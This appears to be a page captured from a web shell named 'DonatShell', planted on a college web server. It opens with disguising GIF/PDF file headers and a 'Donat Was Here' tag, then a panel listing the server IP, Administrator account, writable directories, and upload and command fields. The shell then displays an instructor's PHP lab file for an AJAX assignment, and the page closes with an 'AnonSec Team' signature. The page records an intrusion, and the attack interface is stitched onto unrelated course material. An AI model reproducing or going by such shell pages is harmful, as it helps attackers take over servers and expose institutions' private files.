GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST1022/Labs/Lab09/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST1022/Labs/Lab09//Lab09.phpinc
<?
// JimMartinson/CST1021/Labs/Lab11/Lab11.phpinc

$css .= ',colorCode.css';
require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.
#if ( $_SESSION['userId'] != 1 ) { require('Gradebook/EvaluationSubmission_NOTAVAILABLE.phpinc'); exit; }

require('common/Browser/Browser.phpinc');

$disabled = '';
$disabled = ' disabled';

?>

<fieldset><legend>Description</legend>
The purpose of this lab is to demonstrate your ability to use JavaScript AJAX (XMLHttpRequest).
<?=$gradeNote?>
<? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>

<fieldset><legend><?=$evaluationType?> Instruction</legend>
<ol id="main" class="count">
	<!-- Step 1 -->
	<li>Create a folder for this <?=strtolower($evaluationType)?> named <b class="copyText"><?=$evaluationName?></b> and keep all documents used for <?=$evaluationType?> <?=$evaluationNumber?> in that folder.</li>
	<!-- Step 2 -->
	<li class="css">Create an external style sheet named <b class="copyText">site.css</b>.
		<ol>
			<li>At the top of the style sheet, set the character set with: <tag>@charset <val>"utf-8"</val>;</tag></li>
			<li>Add this comment: <span class="highCOM copyText">/* <?=$evaluationType?> <?=$evaluationNumber?> External Style Sheet - <?=$userFullName?> */</span></li>
			<li>This file will contain all CSS code needed to complete this assignment.</li>
		</ol>
	</li>
	<!-- Step 3 -->
	<li class="page">
		Create a an html document:
		<ol>
			<li>Name the file <b class="copyText"><?=$saveFilename?>.html</b>.</li>
			<li>The page must contain the foundation tags. <a href="#notes" class="smaller">See notes</a></li>
			<li>Title the page <span-content class="copyText"><?=$pageTitle?></span-content>.</li>
			<li>
				Place the following elements on the page:
				<ol>
					<li>An <span class="highELE">input</span> element with a <span class="highELE">label</span> so you can enter a StarID.</li>
					<li>A <span class="highELE">button</span> to clear the response paragraphs.</li>
					<li>A <span class="highELE">button</span> that calls a function that uses a XMLHttpRequest() to get <b>HTML</b> from a URL.</li>
					<li>A <span class="highELE">button</span> that calls a function that uses a XMLHttpRequest() to get <b>JSON</b> from a URL.</li>
					<li>A <span class="highELE">button</span> that calls an anync function that uses fetch() to get <b>HTML</b> from a URL.</li>
					<li>A <span class="highELE">button</span> that calls an anync function that uses fetch() to get <b>JSON</b> from a URL.</li>
					<li>A <span class="highELE">p</span> element to show the <b>HTML</b> responses. Style this <span class="highELE">p</span> so the HTML response is easy to distinguish.</li>
					<li>A <span class="highELE">p</span> element show the <b>JSON</b> responses. Style this <span class="highELE">p</span> so the JSON response is easy to distinguish.</li>
				</ol>
			</li>
		</ol>
	</li>
	<!-- Step 4 -->
	<li class="js">
		Create a JavaScript file.
		<ol>
			<li>Name the file <b class="copyText">site.js</b>.</li>
			<li>Begin it with the <b class="code copyText">"use strict";</b> line.</li>
			<li>Add a comment line: <b class="code copyText">// Main js file for <?=$userFullName?> <?=$evaluationType?> <?=$evaluationNumber?>.</b></li>
		</ol>
	</li>
	<!-- Step 5 -->
	<li>
	Add or modify any code (css, html, or javascript) to perform the following AJAX requests:
		<ol>
			<li>The function for the button that is used to clear the response paragraphs.</li>
			<li>The function that uses a XMLHttpRequest() to get <b>HTML</b> from the URL and place the following output in the <span class="highELE">p</span> element for <b>HTML</b>.
				<ol>
					<li>Text to show that we are displaying a XMLHttpRequest() HTML response.</li>
					<li>The XMLHttpRequest() HTML response.</li>
				</ol>
				URL: <span class="code copyText nowrap">https://cst.ridgewater.edu/Tools/AJAX_HTML/?StarID=the_value_from_the_input_element</span>.
			</li>
			<li>The function that uses a XMLHttpRequest() to get <b>JSON</b> from the URL and place the following output in the <span class="highELE">p</span> element for <b>JSON</b>.
				<ol>
					<li>Text to show that we are displaying a XMLHttpRequest() JSON response.</li>
					<li>The XMLHttpRequest() JSON response.</li>
				</ol>
				URL: <span class="code copyText nowrap">https://cst.ridgewater.edu/Tools/AJAX_JSON/?StarID=the_value_from_the_input_element</span>.
			</li>
			<li>The anync function that uses fetch() to get <b>HTML</b> from the URL and place the following output in the <span class="highELE">p</span> element for <b>HTML</b>.
				<ol>
					<li>Text to show that we are displaying a fetch() HTML response.</li>
					<li>The XMLHttpRequest() HTML response.</li>
				</ol>
				URL: <span class="code copyText nowrap">https://cst.ridgewater.edu/Tools/AJAX_HTML/?StarID=the_value_from_the_input_element</span>.
			</li>
			<li>The anync function that uses fetch() to get <b>JSON</b> from the URL and place the following output in the <span class="highELE">p</span> element for <b>JSON</b>.
				<ol>
					<li>Text to show that we are displaying a fetch() JSON response.</li>
					<li>The XMLHttpRequest() JSON response.</li>
				</ol>
				URL: <span class="code copyText nowrap">https://cst.ridgewater.edu/Tools/AJAX_JSON/?StarID=the_value_from_the_input_element</span>.
			</li>
		</ol>
	</li>
	<!-- Step 6 -->
	<li>Demonstrate the web page.
		<ol>
			<li>Open a browser and load the <b class="copyText"><?=$evaluationName?>.html</b> page.</li>
			<li>Call the XMLHttpRequest() functions.</li>
			<li><b class="info">Take a screenshot</b> and save it in the <b><?=$evaluationName?></b> directory as <b class="copyText" style="white-space:nowrap;"><?=$saveFilename?>_AJAX.png</b>.
				<br>
				<div id="show_page_b" class="inline"><a href="#" onClick="divHide('show_page_b'); divShow('hide_page_b'); return false;">See the XMLHttpRequest example:</a></div>
				<div id="hide_page_b" class="hidden"><a href="#" onClick="divHide('hide_page_b'); divShowInline('show_page_b'); return false;">Hide the XMLHttpRequest example.</a>
				<? BrowserBegin($evaluationType.' '.$evaluationNumber.' - Jim Martinson - Forms','https://cst.ridgewater.edu/Tools/FormEcho/?get=URL%20query&amp;ooga=booga'); ?>
				<img src="images/example_AJAX.png" alt="XMLHttpRequest example">
				<? BrowserEnd(); ?>
				</div>
			</li>
			<li>Call the fetch() functions.</li>
			<li><b class="info">Take a screenshot</b> and save it in the <b><?=$evaluationName?></b> directory as <b class="copyText" style="white-space:nowrap;"><?=$saveFilename?>_fetch.png</b>.
				<br>
				<div id="show_page_a" class="inline"><a href="#" onClick="divHide('show_page_a'); divShow('hide_page_a'); return false;">See the fetch example:</a></div>
				<div id="hide_page_a" class="hidden"><a href="#" onClick="divHide('hide_page_a'); divShowInline('show_page_a'); return false;">Hide the fetch example.</a>
				<? BrowserBegin($evaluationType.' '.$evaluationNumber.' - Jim Martinson - Forms','file:///'.$courseNumber.'/'.$evaluationName.'/'.$evaluationName.'.html'); ?>
				<img src="images/example_fetch.png" alt="fetch example">
				<? BrowserEnd(); ?>
				</div>
			</li>
		</ol>
	</li>
	<li>Turn in your assignment:
		<ol type="a">
			<li>Ensure the following files are in your <b><?=$evaluationName?></b> folder:<?
$fileList = array(
	'site.css',
	'site.js',
	$saveFilename.'.html',
	$saveFilename.'_AJAX.png',
	$saveFilename.'_fetch.png',
);
	natcasesort($fileList);
						foreach ($fileList as $fileName) {
?>
				<br><?=$fileName?>
<?
						}
?>
			</li>
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li>
		</ol>
	</li>
</ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>
<script src="/js/colorCode.js"></script>
<?
$PartialGradingCriteria = '
Deductions for any elements required by the lab that are not present or incorrect:
<br>
-assignmentPoints if the <a href="https://jigsaw.w3.org/css-validator/validator.html.en#validate_by_input">CSS Validation Service</a> or <a href="https://validator.w3.org/#validate_by_input">Markup Validation Service</a> report errors.
No further grading will be done.<br>
-3 for each form element that is not validated correctly.
<br>
-3 for each missing element or like group.
<br>
-2 for each incorrect element or like group.
<br>
-1 for any additional html elements or css rules that have errors.
';
require('../LabNotes.phpinc');
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
#require('../../ReferencesResources.phpinc');
#require($Instructor['Path'].'/ContactInformation.phpinc');
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team